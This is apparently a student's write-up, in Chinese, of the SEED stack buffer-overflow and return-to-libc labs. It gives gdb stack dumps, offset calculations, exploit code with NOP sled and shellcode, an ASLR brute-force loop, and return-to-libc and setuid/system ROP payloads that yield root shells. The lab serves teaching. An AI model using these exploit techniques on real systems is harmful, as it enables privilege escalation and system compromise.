lab2

1. Task 5: Defeat Shell's countermeasure

1.1. Task 1: Running Shellcode

```
[09/03/20]seed@VM:~$ ./stack
#
```

1.2. Task 2: Exploiting the Vulnerability

总体思路是：将bof()函数的返回地址用buffer覆盖，使之跳转到位于栈中的shellcode处。

首先我们需要获取bof()返回地址，这里我们可以借助gdb，反汇main函数，则bof()调用地址的下一个地址就是bof()的返回地址

```
[09/03/20]seed@VM:~$ gdb stack
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from stack...(no debugging symbols found)...done.
gdb-peda$ disas main
Dump of assembler code for function main:
   0x0804850a <+0>:     lea    ecx,[esp+0x4]
```

```
   0x08048562 <+88>:    add    esp,0x10
   0x08048565 <+91>:    sub    esp,0xc
   0x08048568 <+94>:    lea    eax,[ebp-0x211]
   0x0804856e <+100>:   push   eax
   0x0804856f <+101>:   call   0x80484eb <bof>
   0x08048574 <+106>:   add    esp,0x10
   0x08048577 <+109>:   sub    esp,0xc
   0x0804857a <+112>:   push   0x804862a
   0x0804857f <+117>:   call   0x80483a0 <puts@plt>
```

由图可知，bof()的调用地址是0x0804856f，返回地址是0x08048574。

随后，我们需要获取buffer的起始地址，并计算buffer起始地址到bof()返回地址的举例。
从图中可以看到，bor()的执行结束于0x08048503

为了标识出buffer的起始地址，我们可以向badfile文件内填充内容一些内容，比如AAAA，之后，

将函数于0x08048503处打断点。
此时，函数栈内0x41414141处就是buffer的起始地址，由第一步可知，0x08048574处是bof()的返回地址。

```
Breakpoint 1, 0x08048503 in bof ()
gdb-peda$ x/32wx $esp
0xbfffeb30:     0x41414141      0x0000000a      0xb7fba000      0xb7ffd940
0xbfffeb40:     0xbfffeda8      0xb7feff10      0xb7e6688b      0x00000000
0xbfffeb50:     0xb7fba000      0xb7fba000      0xbfffeda8      0x08048574
0xbfffeb60:     0xbfffeb97      0x00000001      0x00000205      0x0804b008
0xbfffeb70:     0xb7e793a0      0x00fdb4c4      0x00000000      0x00000000
0xbfffeb80:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffeb90:     0x00000000      0x41000000      0x0a414141      0x00000000
0xbfffeba0:     0xb7fff000      0x0000000f      0xb7ffd008      0xb7fe3e60
```

因此，buffer的起始位置与bof()的返回地址间隔11*4=44个字节，如果我们向badfile内填充

```
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\<fake address\>
```

则<fake address>恰好可以覆盖掉返回地址。(<fake address>占4字节)

此时，exp已经完成了一半，下面要解决的问题是shellcode在哪里，<fake address>该指向哪里。

理论上，只要将shellcode放置于<fake address>后方，再将<fake address>精确指向shellcode即可，但程序在实际执行时，其内存地址和调试时可能会有所变动，因此，通常的做法是将shellcode放置于buffer的靠后位置，在<fake address>到shellcode间使用空指令NOP(\x90)填充。则只要<fake address>指到了某一个NOP，shellcode就会被执行。

在这道题中，<fake address>所在的地址是buffer[44:47](0xbfffeb50)，我们可以将shellcode放置于buffer[300:]，则<fake address>可以指向buffer后部，最终，exp如下：

```
    memset(&buffer, 0x90, 517);
    /* You need to fill the buffer with appropriate contents here */
    strcpy(buffer, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xf0\xeb\xff\xbf
");
    strcpy(buffer+300, shellcode);
    /* Save the contents to the file "badfile" */
```

1.3. Task 3: Defeating dash's Countermeasure

使用修改后的shellcode，可以正常获得具有root权限的shell

1.4. Task 4: Defeating Address Randomization

```
[09/05/20]seed@VM:~$ cat temp.sh
#!/bin /bash
SECONDS=0
value=0
while [ 1 ]
do
    value=$(($value + 1))
    duration=$SECONDS
    min=$(($duration / 60))
    sec=$(($duration % 60))
    echo "$min minutes and $sec seconds elapsed."
    echo "The program has been running $value times so
far."
    ./stack
done
```

这个得看运气

1.5. Task 5: Turn on the StackGuard Protection

```
[09/03/20]seed@VM:~$ ./stack
*** stack smashing detected ***: ./stack terminated
Aborted
```

函数的执行被终止

2. Task 6: Turn on the Non-executable Stack Protection

```
[09/03/20]seed@VM:~$ gcc -DBUF_SIZE=32 -o stack -z noexecstack -fno-stack-protec
tor stack.c
[09/03/20]seed@VM:~$ ./stack
Segmentation fault
```

```
0x0804854d <+63>:    add    esp,0x10
0x08048550 <+66>:    mov    DWORD PTR [ebp-0xc],eax
0x08048553 <+69>:    sub    esp,0xc
0x08048556 <+72>:    push   DWORD PTR [ebp-0xc]
0x08048559 <+75>:    call   0x80484eb <bof>
0x0804855e <+80>:    add    esp,0x10
0x08048561 <+83>:    sub    esp,0xc
0x08048564 <+86>:    push   0x804861a
0x08048569 <+91>:    call   0x80483a0 <puts@plt>
0x0804856e <+96>:    add    esp,0x10
0x08048571 <+99>:    sub    esp,0xc
```

```
gdb-peda$ disas bof
Dump of assembler code for function bof:
   0x080484eb <+0>:     push   ebp
   0x080484ec <+1>:     mov    ebp,esp
   0x080484ee <+3>:     sub    esp,0x28
   0x080484f1 <+6>:     push   DWORD PTR [ebp+0x8]
   0x080484f4 <+9>:     push   0x12c
   0x080484f9 <+14>:    push   0x1
   0x080484fb <+16>:    lea    eax,[ebp-0x28]
   0x080484fe <+19>:    push   eax
   0x080484ff <+20>:    call   0x8048390 <fread@plt>
   0x08048504 <+25>:    add    esp,0x10
   0x08048507 <+28>:    mov    eax,0x1
   0x0804850c <+33>:    leave
   0x0804850d <+34>:    ret
End of assembler dump.
```

```
Breakpoint 1, 0x08048507 in bof ()
gdb-peda$ x/16wx $esp
0xbfffec80:     0x41414141      0xb7fba00a      0xb7fba000      0xb7e6641e
0xbfffec90:     0x08048612      0x08048610      0x00000001      0xb7e66400
0xbfffeca0:     0xbfffeccc      0xb7e66406      0xbfffed78      0x0804855e
0xbfffecb0:     0x0804b008      0x08048610      0x000000a0      0xbfffed38
```

```
1 *(long *)&buf[52] = 0xbffffe1e; // "/bin/sh" P
2 *(long *)&buf[44] = 0xb7e42da0; // system() P
3 *(long *)&buf[48] = 0xb7e369d0; // exit() P
```

3. Return-to-libc Attack Lab

3.1. Task 1: Finding out the addresses of libc functions

```
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7dbfda0 <__libc_system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xb7db39d0 <__GI_exit>
gdb-peda$
```

3.2. Task 2: Putting the shell string in the memory

```
gdb-peda$ find "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 2 results, display max 2 items:
   libc : 0xb7f6382b ("/bin/sh")
[stack] : 0xbffffe1e ("/bin/sh")
```

3.3. Task 3: Exploiting the buffer-overflow vulnerability

```
*(long *)&buf[52] = 0xb7f6382b; // "/bin/sh"
*(long *)&buf[44] = 0xb7e42da0; // system()
*(long *)&buf[48] = 0xb7e369d0; // exit()
fwrite(buf, sizeof(buf), 1, badfile);
```

偏移的确认方法与第一个实验相同。

3.4. Task 4: Turning on address randomization

这个得看运气

3.5. Task 5: Defeat Shell's countermeasure

连环ROP

```
*(long *)&buf[44] = 0xb7eb9170; // setuid()
*(long *)&buf[48] = 0x80485eb; // pop $ebp
*(long *)&buf[52] = 0x00000000; // 0
*(long *)&buf[56] = 0xb7e42da0; // system()
*(long *)&buf[60] = 0x80485eb; // pop $ebp
*(long *)&buf[64] = 0xb7f6382b; // "/bin/sh"
fwrite(buf, sizeof(buf), 1, badfile);
fclose(badfile);
```

效果

```
[09/04/20]seed@VM:~$ ls /bin/sh -l
lrwxrwxrwx 1 root root 9 Sep  4 20:12 /bin/sh -> /bin/dash
[09/04/20]seed@VM:~$ ./retlib
#
```